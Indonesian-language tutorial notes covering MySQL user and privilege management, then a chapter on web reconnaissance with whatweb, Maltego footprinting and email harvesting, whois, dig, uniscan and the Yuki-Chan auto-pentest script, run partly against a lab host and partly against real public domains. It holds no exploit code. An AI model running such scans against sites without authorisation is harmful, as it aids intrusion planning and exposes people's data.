Server version: 5.5.29-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
mysql> create database sample;
Query OK, 1 row affected (0.00 sec)

mysql> use sample
Database changed
mysql>
```

mysql -h localhost -u root -p, isi password nya

create database sample;

use sample

```
mysql> create table users(username VARCHAR(20),password VARCHAR(20));
Query OK, 0 rows affected (0.03 sec)

mysql> insert into users values('kurniawan','baseball');
Query OK, 1 row affected (0.00 sec)

mysql> show tables;
+------------------+
| Tables_in_sample |
+------------------+
| users            |
+------------------+
1 row in set (0.00 sec)

mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
+-----------+----------+
1 row in set (0.00 sec)

mysql> insert into users values('cewek','12345');
Query OK, 1 row affected (0.02 sec)

mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
| cewek     | 12345    |
+-----------+----------+
```

create table users(username VARCHAR(20), password VARCHAR(20));

insert into users values(‘kurniawan’,’baseball’);

show tables;

select * from users

insert into users values(‘cewek’,’12345’);

select * from users;

Tambahan :

```
mysql> update users set password='testing' where username='cewek';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
| cewek     | testing  |
+-----------+----------+
2 rows in set (0.00 sec)
```

update users set password=’testing’ where username=’cewek’;

select * from users

```
mysql> alter table users change username useraja varchar(70);
Query OK, 2 rows affected (0.03 sec)
Records: 2  Duplicates: 0  Warnings: 0

mysql> select * from users;
+-----------+----------+
| useraja   | password |
+-----------+----------+
| kurniawan | baseball |
| cewek     | testing  |
+-----------+----------+
2 rows in set (0.00 sec)
```

```
mysql> alter table users change useraja username varchar(80);
Query OK, 2 rows affected (0.03 sec)
Records: 2  Duplicates: 0  Warnings: 0

mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
| cewek     | testing  |
+-----------+----------+
2 rows in set (0.00 sec)

mysql>
```

alter table users change username useraja varchar(70);

select * from users;

alter table users change useraja username varchar(80);

```
mysql> delete from users where username='cewek';
Query OK, 1 row affected (0.00 sec)

mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
+-----------+----------+
1 row in set (0.00 sec)

mysql>
```

delete from users where username=’cewek’;

select * from users;

```
mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
+-----------+----------+
1 row in set (0.00 sec)

mysql> drop tables users;
Query OK, 0 rows affected (0.01 sec)

mysql> show tables;
Empty set (0.00 sec)

mysql>
```

drop tables users;

show tables;

```
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| admin_mhs          |
| blogphp            |
| mysql              |
| performance_schema |
| phpmyadmin         |
| sample             |
| test               |
| wordpress          |
+--------------------+
9 rows in set (0.00 sec)

mysql> drop database sample;
Query OK, 0 rows affected (0.00 sec)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| admin_mhs          |
| blogphp            |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
| wordpress          |
+--------------------+
```

show databases;

drop database sample;

show databases;

Managemen users

```
root@ubuntufresh:/home/data# mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 126
Server version: 5.5.29-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select user, password, host from mysql.user;
+------------------+-------------------------------------------+-------------+
| user             | password                                  | host        |
+------------------+-------------------------------------------+-------------+
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | ubuntufresh |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | 127.0.0.1   |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | ::1         |
|                  |                                           | localhost   |
|                  |                                           | ubuntufresh |
| debian-sys-maint | *D4E06C723B0EC00B97DEA7CF84F7A08BE8A37CF9 | localhost   |
| phpmyadmin       | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
+------------------+-------------------------------------------+-------------+
8 rows in set (0.00 sec)

mysql>
```

mysql -h localhost -u root -p

Password : baseball

select user, password, host from mysql.user;

```
rows in set (0.00 sec)

mysql> CREATE USER 'cewek'@'localhost' IDENTIFIED BY 'baseball';
Query OK, 0 rows affected (0.00 sec)

mysql> select user, password, host from mysql.user;
+------------------+-------------------------------------------+-------------+
| user             | password                                  | host        |
+------------------+-------------------------------------------+-------------+
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | ubuntufresh |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | 127.0.0.1   |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | ::1         |
|                  |                                           | localhost   |
|                  |                                           | ubuntufresh |
| debian-sys-maint | *D4E06C723B0EC00B97DEA7CF84F7A08BE8A37CF9 | localhost   |
| phpmyadmin       | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
| cewek            | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
+------------------+-------------------------------------------+-------------+
9 rows in set (0.00 sec)

mysql>
```

CREATE USER 'cewek'@'localhost' IDENTIFIED BY 'baseball';

select user, password, host from mysql.user;

```
mysql> GRANT SELECT ON sample.* TO 'cewek'@'localhost';
Query OK, 0 rows affected (0.00 sec)

mysql> exit
Bye
```

GRANT SELECT ON sample.* TO 'cewek'@'localhost';

exit

```
mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
| alice     | secret   |
+-----------+----------+
2 rows in set (0.00 sec)

mysql> update users set password='baseball' where username='kurniawan';
ERROR 1142 (42000): UPDATE command denied to user 'cewek'@'localhost' for table 'users'
mysql>
```

Saat dilakukan update seperti di atas

update users set password=’baseball’ where username=’kurniawan’; hasilnya update command denied.

```
root@ubuntufresh:/home/data# mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 131
Server version: 5.5.29-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select user, password, host from mysql.user;
+------------------+-------------------------------------------+-------------+
| user             | password                                  | host        |
+------------------+-------------------------------------------+-------------+
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
```

mysql -h localhost -u root -p

Password : baseball

select user, password, host from mysql.user;

```
mysql> select user, password, host from mysql.user;
+------------------+-------------------------------------------+-------------+
| user             | password                                  | host        |
+------------------+-------------------------------------------+-------------+
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | ubuntufresh |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | 127.0.0.1   |
| root             | *51AA306E66303073DBA15D2750E23C90C7A7F947 | ::1         |
|                  |                                           | localhost   |
|                  |                                           | ubuntufresh |
| debian-sys-maint | *D4E06C723B0EC00B97DEA7CF84F7A08BE8A37CF9 | localhost   |
| phpmyadmin       | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
| cewek            | *51AA306E66303073DBA15D2750E23C90C7A7F947 | localhost   |
+------------------+-------------------------------------------+-------------+
9 rows in set (0.00 sec)

mysql> show grants for 'cewek'@'localhost';
+-----------------------------------------------------------------------------------------------------------------+
| Grants for cewek@localhost                                                                                      |
+-----------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'cewek'@'localhost' IDENTIFIED BY PASSWORD '*51AA306E66303073DBA15D2750E23C90C7A7F947' |
| GRANT SELECT ON `sample`.* TO 'cewek'@'localhost'                                                               |
+-----------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
```

show grants for 'cewek'@'localhost';

```
mysql> GRANT ALL ON sample.* TO 'cewek'@'localhost';
Query OK, 0 rows affected (0.00 sec)

mysql> show grants for 'cewek'@'localhost';
+-----------------------------------------------------------------------------------------------
| Grants for cewek@localhost
+-----------------------------------------------------------------------------------------------
| GRANT USAGE ON *.* TO 'cewek'@'localhost' IDENTIFIED BY PASSWORD '*51AA306E66303073DBA15D2
| GRANT ALL PRIVILEGES ON `sample`.* TO 'cewek'@'localhost'
+-----------------------------------------------------------------------------------------------
2 rows in set (0.00 sec)
```

GRANT ALL ON sample.* TO 'cewek'@'localhost';

show grants for 'cewek'@'localhost';

```
root@ubuntufresh:/home/data# mysql -h localhost -u cewek -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 132
Server version: 5.5.29-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use sample
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
| alice     | secret   |
+-----------+----------+
2 rows in set (0.00 sec)
```

Kembali mengakses menggunakan user cewek

```
Database changed
mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | baseball |
| alice     | secret   |
+-----------+----------+
2 rows in set (0.00 sec)

mysql> update users set password='12345' where username='kurniawan';
Query OK, 1 row affected (0.10 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from users;
+-----------+----------+
| username  | password |
+-----------+----------+
| kurniawan | 12345    |
| alice     | secret   |
+-----------+----------+
2 rows in set (0.00 sec)
```

Dapat melakukan update password

```
mysql> update users set username='data' where password='12345';
Query OK, 1 row affected (0.02 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from users;
+----------+----------+
| username | password |
+----------+----------+
| data     | 12345    |
| alice    | secret   |
+----------+----------+
2 rows in set (0.00 sec)

mysql>
```

Dapat melakukan update username

```
root@ubuntufresh:/home/data# mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 134
Server version: 5.5.29-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
```

Kembali menggunakan user root

```
mysql> show grants for 'cewek'@'localhost';
+-----------------------------------------------------------------------------------------------------------+
| Grants for cewek@localhost                                                                                |
+-----------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'cewek'@'localhost' IDENTIFIED BY PASSWORD '*51AA306E66303073DBA15D2750E23C90C7A7F947' |
| GRANT ALL PRIVILEGES ON `sample`.* TO 'cewek'@'localhost'                                                 |
+-----------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

mysql> REVOKE ALL ON sample.* FROM 'cewek'@'localhost';
Query OK, 0 rows affected (0.01 sec)

mysql> show grants for 'cewek'@'localhost';
+-----------------------------------------------------------------------------------------------------------+
| Grants for cewek@localhost                                                                                |
+-----------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'cewek'@'localhost' IDENTIFIED BY PASSWORD '*51AA306E66303073DBA15D2750E23C90C7A7F947' |
+-----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>
```

show grants for 'cewek'@'localhost';

REVOKE ALL ON sample.* FROM 'cewek'@'localhost';

show grants for 'cewek'@'localhost';

Bab 31

Pengumpulan informasi tentang web

31.1 Situs dan program pendukung untuk mengumpulkan informasi website dan sebagainya

Netcraft.com

Netcraft is an Internet services company based in Bath, England. Netcraft is funded through retained profit and derives its revenue in the following ways:

- Providing internet security services, including anti-fraud and anti-phishing services, application testing, code reviews, and automated penetration testing.
- Providing research data and analysis on many aspects of the Internet. Netcraft has explored the Internet since 1995 and is a respected authority on the market share of web servers, operating systems, hosting providers, ISPs, encrypted transactions, electronic commerce, scripting languages and content technologies on the internet.

Sumber : netcraft.com - http://www.netcraft.com/about-netcraft/

Reverse DNS lookup

In computer networking, reverse DNS lookup or reverse DNS resolution (rDNS) is the determination of a domain name that is associated with a given IP address using the Domain Name System (DNS) of the Internet.

Computer networks use the Domain Name System to determine the IP address associated with a domain name. This process is also known as forward DNS resolution. Reverse DNS lookup is the inverse process, the resolution of an IP address to its designated domain name.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Reverse_DNS_lookup

Reverse domain : http://www.yougetsignal.com/tools/web-sites-on-web-server/

Whatweb

Whatweb adalah aplikasi yang berguna untuk identifikasi sebuah website. Tidak hanya memunculkan CMS apa yang digunakan, whatweb juga mengidentifikasi web server dan OS server yang digunakan serta memunculkan alamat email yang tertera di website.

Sumber :
http://opensource.telkomspeedy.com/wiki/index.php/CMS_Identification_Menggunakan_whatweb

```
[+] Finished at Sun Aug 21 07:26:15 2016
[+] Elapsed time: 00:00:52
root@dhcppc4:~#
root@dhcppc4:~# clear
root@dhcppc4:~# whatweb [redacted]om
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': iconv will be de
precated in the future, use String#encode instead.

[redacted]com [200] Cookies[ASPSESSIONIDSQSTTCRA,cookie-[redacted]langID], Co
untry[INDONESIA][ID], HTTPServer[Microsoft-IIS/5.0], HttpOnly[cookie[redacted]], I
P[redacted] Microsoft-IIS[5.0], Script[JavaScript1.2>mmLoadMenus();</script>
,javascript,text/javascript], Title[redacted] UncommonHeaders
[x-powered_by,x-xss-protection], X-XSS-Protection[1; mode=block]
```

Perintahnya seperti di atas

Contoh http://192.168.1.32/blog/wordpress

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
root@kalidata:~# whatweb http://192.168.1.32/blog/wordpress
/usr/share/whatweb/lib/tld.rb:85: warning: duplicated key at line 85 ignored: "2
nd_level_registration"
/usr/share/whatweb/lib/tld.rb:93: warning: duplicated key at line 93 ignored: "2
nd_level_registration"
/usr/share/whatweb/lib/tld.rb:95: warning: duplicated key at line 95 ignored: "2
nd_level_registration"
/usr/share/whatweb/plugins/wordpress.rb:436: warning: duplicated key at line 453
 ignored: "2.7-beta1"
http://192.168.1.32/blog/wordpress [301] Apache[2.2.9][mod_autoindex_color,mod_s
sl/2.2.9], Country[RESERVED][ZZ], HTTPServer[Windows (32 bit)][Apache/2.2.9 (Win
32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6], IP[192.16
8.1.32], OpenSSL[0.9.8h], PHP[5.2.6], RedirectLocation[http://192.168.1.32/blog/
wordpress/], Title[301 Moved Permanently], WebDAV[2]
http://192.168.1.32/blog/wordpress/ [200] Apache[2.2.9][mod_autoindex_color,mod_
ssl/2.2.9], Cookies[PHPSESSID], Country[RESERVED][ZZ], Google-Maps, HTML5, HTTPS
erver[Windows (32 bit)][Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h
mod_autoindex_color PHP/5.2.6], IP[192.168.1.32], JQuery[1.4.4], MetaGenerator[W
ordPress 3.1.1], OpenSSL[0.9.8h], PHP[5.2.6], PoweredBy[TheCartPress,TheCartPres
s,,WordPress,WordPress,], Script[text/javascript], Title[Toko Online | Just anot
her WordPress site], WebDAV[2], WordPress[3.1.1], X-Powered-By[PHP/5.2.6], x-pin
gback[http://192.168.1.32/blog/wordpress/xmlrpc.php]
root@kalidata:~#
```

Saat dilakukan scan muncul informasi seperti di atas

Berikutnya untuk cms lain, http://192.168.1.32/joomla

```
root@kalidata:~# whatweb http://192.168.1.32/joomla
/usr/share/whatweb/lib/tld.rb:85: warning: duplicated key at line 85 ignored:
/usr/share/whatweb/lib/tld.rb:93: warning: duplicated key at line 93 ignored:
/usr/share/whatweb/lib/tld.rb:95: warning: duplicated key at line 95 ignored:
/usr/share/whatweb/plugins/wordpress.rb:436: warning: duplicated key at line
http://192.168.1.32/joomla [301] Apache[2.2.9][mod_autoindex_color,mod_ssl/2.
rver[Windows (32 bit)][Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8
P[192.168.1.32], OpenSSL[0.9.8h], PHP[5.2.6], RedirectLocation[http://192.168
manently], WebDAV[2]
http://192.168.1.32/joomla/ [200] Apache[2.2.9][mod_autoindex_color,mod_ssl/2
95d437665c52], Country[RESERVED][ZZ], HTTPServer[Windows (32 bit)][Apache/2.2
SSL/0.9.8h mod_autoindex_color PHP/5.2.6], IP[192.168.1.32], Joomla[1.0][com_
_frontpage,com_newsfeeds,com_registration,com_rss,com_search,com_
rs,com_contact,com_content,com_frontpage,com_newsfeeds,com_registration,com_r
pe[1], MetaGenerator[Joomla! - Copyright (C) 2005 - 2007 Open Source Matters.
8h], PHP[5.2.6], PasswordField[passwd], PoweredBy[_inner], Script[text/javasc
2], X-Powered-By[PHP/5.2.6]
root@kalidata:~#
```

Hasilnya seperti di atas

Berikutnya contoh lagi, http://192.168.1.32/front/frontaccounting

```
root@kalidata:~# whatweb http://192.168.1.32/front/frontaccounting
/usr/share/whatweb/lib/tld.rb:85: warning: duplicated key at line 85 ignored: "2nd_level_registration"
/usr/share/whatweb/lib/tld.rb:93: warning: duplicated key at line 93 ignored: "2nd_level_registration"
/usr/share/whatweb/lib/tld.rb:95: warning: duplicated key at line 95 ignored: "2nd_level_registration"
/usr/share/whatweb/plugins/wordpress.rb:436: warning: duplicated key at line 453 ignored: "2.7-beta1"
http://192.168.1.32/front/frontaccounting [301] Apache[2.2.9][mod_autoindex_color,mod_ssl/2.2.9], Coun
ED][ZZ], HTTPServer[Windows (32 bit)][Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_auto
r PHP/5.2.6], IP[192.168.1.32], OpenSSL[0.9.8h], PHP[5.2.6], RedirectLocation[http://192.168.1.32/fron
ounting/], Title[301 Moved Permanently], WebDAV[2]
http://192.168.1.32/front/frontaccounting/ [200] Apache[2.2.9][mod_autoindex_color,mod_ssl/2.2.9], Coo
c56b54c9e051fdb022baa74cb8f80], Country[RESERVED][ZZ], HTTPServer[Windows (32 bit)][Apache/2.2.9 (Win3
od_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6], IP[192.168.1.32], OpenSSL[0.9.8h], PHP[5.2
ordField[password], Script[text/javascript], Title[FrontAccounting 2.3.4 - Login], WebDAV[2], X-Powere
.2.6]
root@kalidata:~#
```

Muncul informasi seperti di atas

Maltego is a unique platform developed to deliver a clear threat picture to the environment that an organization owns and operates. Maltego's unique advantage is to demonstrate the complexity and severity of single points of failure as well as trust relationships that exist currently within the scope of your infrastructure.

The unique perspective that Maltego offers to both network and resource based entities is the aggregation of information posted all over the internet – whether it's the current configuration of a router poised on the edge of your network or the current whereabouts of your Vice President on his international visits, Maltego can locate, aggregate and visualize this information.

Maltego offers the user with unprecedented information. Information is leverage. Information is power. Information is Maltego.

What does Maltego do?

Maltego is a program that can be used to determine the relationships and real world links between:

- People
- Groups of people (social networks)
- Companies
- Organizations
- Web sites
- Internet infrastructure such as:
- Domains
- DNS names
- Netblocks
- IP addresses
- Phrases
- Affiliations
- Documents and files
- These entities are linked using open source intelligence.
- Maltego is easy and quick to install – it uses Java, so it runs on Windows, Mac and Linux.
- Maltego provides you with a graphical interface that makes seeing these relationships instant and accurate – making it possible to see hidden connections.
- Using the graphical user interface (GUI) you can see relationships easily – even if they are three or four degrees of separation away.

- Maltego is unique because it uses a powerful, flexible framework that makes customizing possible. As such, Maltego can be adapted to your own, unique requirements.

Sumber : http://tools.kali.org/information-gathering/maltego-teeth

Maltego adalah software yang di gunakan untuk memetakan jaringan komunikasi yang berada di internet, fungsi dari maltego adalah memudahkan seseorang yang mencari informasi tentang apa yang mereka selidiki atau mereka incar sebagai target, contoh ketika seseorang mencari iformasi dari sebuah domain menggunakan maltego, maka maltgo akan menampilkan beberapa informasi seperti berikut :

- Domain register
- Block IP hosting
- Sub-domain
- Email user & admin
- Phone number
- ISP dari hosting tersebut
- Peta jaringan yang di gunakan

Sumber : http://www.cyber-space.ga/2015/12/menggunakan-maltego-di-kali-linux-20.html

Dasar penggunaan :

Ketik maltego di kali-linux lalu enter

Tampilan loading maltego

Pilih Next

Register lalu login

Pilih Run a machine

Pilih Footprint L1

Masukkan domain target

:om
finance.detik.com
rss.detik.com
microsite.detik.com

.com
k.com
ik.com
www.detik.com
majalah.detik.com
m.detik.com

Berikutnya untuk mendapatkan e-mail dari situs

Hasilnya seperti di atas

Untuk mengetahui ns.records nya pilih Footprinting L2

Main View
Bubble View
Entity List
Keep relevant NS
Please select the NS records you wish to keep. We will see what's shared on the selected ones.
NS records
Type
ns.detik.net.id
NS Record
ns.detik.com
NS Record
ns1.detik.com
NS Record
ns2.detik.net.id
NS Record
ns1.detik.net.id
NS Record
ns2.detik.com
NS Record
ns.detik.com
ns2.detik.com
Remove unselected entities from graph
Next>
Output - Transform Output

Lainnya

Start a Machine
Steps
Choose machine
Specify target
MALTEGO_CHLORINE
Run Machine - Choose machine (1 of 2)
Please select the machine to run from the list below:
Company Stalker [Domain]
This machine will try to get all email addresses at a domain then s...
Find Wikipedia Edits [Domain]
This machine takes a domain and looks for possible Wikipedia edits.
Footprint L1 [Domain]
This performs a level 1 (fast, basic) footprint of a domain.
Footprint L2 [Domain]
This performs a level 2 (mild) footprint of a domain.
Footprint L3 [Domain]
Show on startup
Show on empty graph click
< Back
Next >
Finish
Cancel
Help

WAFW00F

WAFW00F allows one to identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Sumber : https://github.com/EnableSecurity/wafw00f

```
root@dhcppc4: /home
root@dhcppc4:/home# whois detik.com

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: DETIK.COM
   Registrar: NETWORK SOLUTIONS, LLC.
   Sponsoring Registrar IANA ID: 2
   Whois Server: whois.networksolutions.com
   Referral URL: http://networksolutions.com
   Name Server: NS.DETIK.COM
   Name Server: NS.DETIK.NET.ID
   Name Server: NS1.DETIK.COM
   Name Server: NS1.DETIK.NET.ID
   Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibit
ed
   Updated Date: 20-may-2016
   Creation Date: 29-may-1998
   Expiration Date: 28-may-2018
```

Dengan whois maka kita akan mendapatkan informasi mengenai suatu domain

Perintahnya whois (nama domain)

```
root@dhcppc4:/home# nslookup detik.com
Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
Name:   detik.com
Address: 203.190.242.211
Name:   detik.com
Address: 103.49.221.211
```

Nslookup adalah perintah yang digunakan untuk mengetahui ip dari sebuah domain. Nslookup digantikan dig.

Contoh : nslookup (nama domain)

```
root@dhcppc4:/home# dig detik.com

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> detik.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7838
;; flags: qr rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;detik.com.                     IN      A

;; ANSWER SECTION:
detik.com.              167     IN      A       103.49.221.211
detik.com.              167     IN      A       203.190.242.211

;; Query time: 6 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Mon Dec 26 21:52:19 2016
;; MSG SIZE  rcvd: 59

root@dhcppc4:/home# dig kompas.com
```

Domain Information Groper atau Dig adalah perintah untuk melihat pengecekan pada permasalahan DNS

Contoh di atas adalah meminta A record dari domain detik.com

Contohj dig (nama domain)

Centralops.net, mirip dengan whois

Robtex

Passive Information Gathering

Mengumpulkan informasi secara pasif atau tanpa melakukan tindakan aktif untuk mendapatkan informasi tersebut

Pipl.com dan google hacking

Memeriksa keberadaan cloudflare pada alamat web dengan cepat

```
File  Edit  View  Search  Terminal  Help
root@kalibr:/usr/share/uniscan/report# uniscan -u xcode.or.id
####################################
# Uniscan project                  #
# http://uniscan.sourceforge.net/  #
####################################
V. 6.3


Scan date: 26-12-2017 3:14:54
===============================================================================
====================
| Domain: http://xcode.or.id/
| Server: cloudflare
| IP: 104.28.10.111
===============================================================================
====================
===============================================================================
====================
Scan end date: 26-12-2017 3:15:4



HTML report saved in: report/xcode.or.id.html
root@kalibr:/usr/share/uniscan/report#
```

Yuki-Chan The Auto Pentest

The Yuki Chan is an Automated Penetration Testing tool this tool will auditing all standard security test method for you.

Sumber : https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest

```
root@kalibr:~# git clone https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest
Cloning into 'Yuki-Chan-The-Auto-Pentest'...
remote: Counting objects: 3169, done.
remote: Total 3169 (delta 0), reused 0 (delta 0), pack-reused 3169
Receiving objects: 100% (3169/3169), 11.51 MiB | 499.00 KiB/s, done.
Resolving deltas: 100% (450/450), done.
root@kalibr:~# ls
Desktop          Music      Videos                      smb-enum-users.nse
Documents        Pictures   Yuki-Chan-The-Auto-Pentest  wpsploit
Downloads        Public     exploitbr.zip
MS17-010-master  Templates  smb-brute.nse
root@kalibr:~# cd Yuki-Chan-The-Auto-Pentest/
root@kalibr:~/Yuki-Chan-The-Auto-Pentest# ls
LICENSE  README.md   install-perl-module.sh  requirements.txt  yuki.sh
Module   Screenshot  joomscan                wafninja
root@kalibr:~/Yuki-Chan-The-Auto-Pentest# ./yuki.sh
bash: ./yuki.sh: Permission denied
root@kalibr:~/Yuki-Chan-The-Auto-Pentest# chmod 777 yuki.sh
root@kalibr:~/Yuki-Chan-The-Auto-Pentest# ./yuki.sh
```

git clone https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest

Masuk ke folder tersebut lalu ubah hak akses agar bisa eksekusi file yuki.sh, lalu jalankan file yuki.sh dengan perintah ./yuki.sh

```
The YuKi-Chan

Automated Intel-Gathering - Vulnerability Analysis - OSINT
Tracking - System Enumeration - And Off Course Pentesting Too

Version : 1.0 | Codename : Waifu Sudah Lacur
Coded by : Yukinoshita 47 | Garuda Security Hacker
Tested on : Kali Linux
More Info : http://www.garudasecurityhacker.org

Recode The Copyright Is Not Make You A Coder Dude :p

Enter domain of your Target Below example site.com :
192.168.1.32/data
```

Masukkan alamat situs pada masukan

```
Read data files from: /usr/bin/../share/nmap
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.51 seconds
           Raw packets sent: 0 (0B) | Rcvd: 0 (0B)
scanning with nmap finished

starting the harvester for gathering email and subdomain information

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __ *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.7                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


[-] Searching in Google:
        Searching 0 results...
        Searching 100 results...
        Searching 200 results...
        Searching 300 results...
        Searching 400 results...
```

```
;; Query time: 222 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Dec 28 23:07:41 EST 2017
;; MSG SIZE  rcvd: 152


                # Coded By Ahmed Aboul-Ela - @aboul3la

Error: Please enter a valid domain

                    Got It :v wkwkwkwkwk

              Web Application Firewall Scanning Starting

scanning WAF with wafw00f
```

```
[23:07:52] Number of links to test are: 0
[23:07:52] Started finding XSS
[23:07:52]      No link found, exiting

                    XSS Scanning Finished


              Web / CMS Vulnerability Scanning Starting

checking web with whatweb (if not run maybe not installed in your OS)
./yuki.sh: line 159: ./Module/WhatWeb/whatweb: Permission denied


checking web with spaghetti
 ____              _        _  _    _
|   __|___ ___ ___| |_ ___| |_| |_|_|
|__   | . | .'| . |   | -_|  _|  _| |
|_____|  _|__,|_  |_|_|___|_| |_| |_|
      |_|     |___|          v0.1.0

|| Spaghetti - Web Application Security Scanner
|| Codename - "Pasta"
|| Momo Outaadi (M4ll0k)
|| https://github.com/m4ll0k/Spaghetti

[+] Target: http://192.168.1.32/data
[+] IP: Host name lookup failure
[+] Starting: 28/12/2017 23:07:57

[+] Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6
```

```
                    Scan Wordpress Starting

start scanning wpscan.rb (if not run maybe not installed in your OS)
_______________________________________________________________
        __          _______   _____
        \ \        / /   __ \ / ____|
         \ \  /\  / /| |__) | (___    ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / _ \/ _` | '_ \
           \  /\  /  | |     ____) | (_| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.3
